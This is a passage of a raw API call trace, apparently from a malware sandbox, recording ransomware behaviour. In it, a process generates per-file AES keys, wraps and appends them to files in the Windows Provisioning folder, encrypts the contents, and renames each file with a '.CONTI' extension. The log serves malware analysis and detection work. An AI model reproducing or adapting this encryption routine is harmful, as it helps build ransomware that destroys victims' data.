	[0113.333] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.334] WriteFile (in: hFile=0x408, lpBuffer=0x65bf77c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65bf77c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.683] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.683] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2c3, lpOverlapped=0x0) returned 1
	[0114.687] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2c3, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d0) returned 1
	[0114.693] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.693] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.697] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.703] WriteFile (in: hFile=0x408, lpBuffer=0x65bf770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65bf770*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.704] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.704] CloseHandle (hObject=0x408) returned 1
	[0114.704] GetProcessHeap () returned 0x1720000
	[0114.704] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.704] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0114.704] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.704] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.705] GetProcessHeap () returned 0x1720000
	[0114.705] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.705] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0114.705] GetProcessHeap () returned 0x1720000
	[0114.705] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bc100 | out: hHeap=0x1720000) returned 1
	[0114.705] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0114.705] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65d7068 | out: phKey=0x65d7068*=0x6b7f538) returned 1
	[0114.705] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d706c, pdwDataLen=0x4bffe94 | out: pbData=0x65d706c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0114.706] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml")) returned 0x20
	[0114.706] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0114.706] GetLastError () returned 0x0
	[0114.706] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=251) returned 1
	[0114.706] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfb
	[0114.706] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.706] SetEndOfFile (hFile=0x408) returned 1
	[0114.708] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.708] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.708] WriteFile (in: hFile=0x408, lpBuffer=0x65d706c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d706c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.709] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.709] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0xfb, lpOverlapped=0x0) returned 1
	[0114.709] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0xfb, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x100) returned 1
	[0114.709] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.709] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x100, lpOverlapped=0x0) returned 1
	[0114.709] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.710] WriteFile (in: hFile=0x408, lpBuffer=0x65d7060*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65d7060*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.710] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.710] CloseHandle (hObject=0x408) returned 1
	[0114.710] GetProcessHeap () returned 0x1720000
	[0114.710] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.710] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml"
	[0114.710] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.CONTI"
	[0114.710] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml.conti")) returned 1
	[0114.710] GetProcessHeap () returned 0x1720000
	[0114.711] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.711] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0114.711] GetProcessHeap () returned 0x1720000
	[0114.711] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511978 | out: hHeap=0x1720000) returned 1
	[0114.711] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0114.711] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65d3e38 | out: phKey=0x65d3e38*=0x6b7f1b8) returned 1
	[0114.711] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d3e3c, pdwDataLen=0x4bffe94 | out: pbData=0x65d3e3c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0114.711] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml")) returned 0x20
	[0114.712] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0114.712] GetLastError () returned 0x0
	[0114.712] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=25204) returned 1
	[0114.712] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6274
	[0114.712] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.712] SetEndOfFile (hFile=0x408) returned 1
	[0114.712] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.712] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.712] WriteFile (in: hFile=0x408, lpBuffer=0x65d3e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d3e3c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.714] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.714] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x6274, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x6274, lpOverlapped=0x0) returned 1
	[0114.715] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x6274, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x6280) returned 1
	[0114.715] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.715] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x6280, lpOverlapped=0x0) returned 1
	[0114.715] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.715] WriteFile (in: hFile=0x408, lpBuffer=0x65d3e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65d3e30*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.715] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.715] CloseHandle (hObject=0x408) returned 1
	[0114.716] GetProcessHeap () returned 0x1720000
	[0114.716] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.716] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"
	[0114.716] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.CONTI"
	[0114.716] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.conti")) returned 1
	[0114.716] GetProcessHeap () returned 0x1720000
	[0114.716] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.716] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.716] GetProcessHeap () returned 0x1720000
	[0114.716] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511b08 | out: hHeap=0x1720000) returned 1
	[0114.716] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0114.716] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65d52c0 | out: phKey=0x65d52c0*=0x6b7f2b8) returned 1
	[0114.717] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d52c4, pdwDataLen=0x4bffe94 | out: pbData=0x65d52c4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0114.717] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml")) returned 0x20
	[0114.717] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0114.718] GetLastError () returned 0x0
	[0114.718] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=271) returned 1
	[0114.718] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0114.718] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.718] SetEndOfFile (hFile=0x408) returned 1
	[0114.718] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.718] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.719] WriteFile (in: hFile=0x408, lpBuffer=0x65d52c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d52c4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.720] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.720] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x10f, lpOverlapped=0x0) returned 1
	[0114.720] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x10f, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x110) returned 1
	[0114.720] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.720] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x110, lpOverlapped=0x0) returned 1
	[0114.720] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.720] WriteFile (in: hFile=0x408, lpBuffer=0x65d52b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65d52b8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.720] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.721] CloseHandle (hObject=0x408) returned 1
	[0114.721] GetProcessHeap () returned 0x1720000
	[0114.721] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.721] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml"
	[0114.721] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.CONTI"
	[0114.721] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml.conti")) returned 1
	[0114.721] GetProcessHeap () returned 0x1720000
	[0114.721] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.721] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.721] GetProcessHeap () returned 0x1720000
	[0114.721] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d238 | out: hHeap=0x1720000) returned 1
	[0114.722] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0114.722] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65d4080 | out: phKey=0x65d4080*=0x6b7f1b8) returned 1
	[0114.722] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d4084, pdwDataLen=0x4bffe94 | out: pbData=0x65d4084*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0114.722] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0114.723] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0114.723] GetLastError () returned 0x0
	[0114.723] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=2365) returned 1
	[0114.723] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x93d
	[0114.723] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.723] SetEndOfFile (hFile=0x408) returned 1
	[0114.723] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.723] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.723] WriteFile (in: hFile=0x408, lpBuffer=0x65d4084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d4084*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
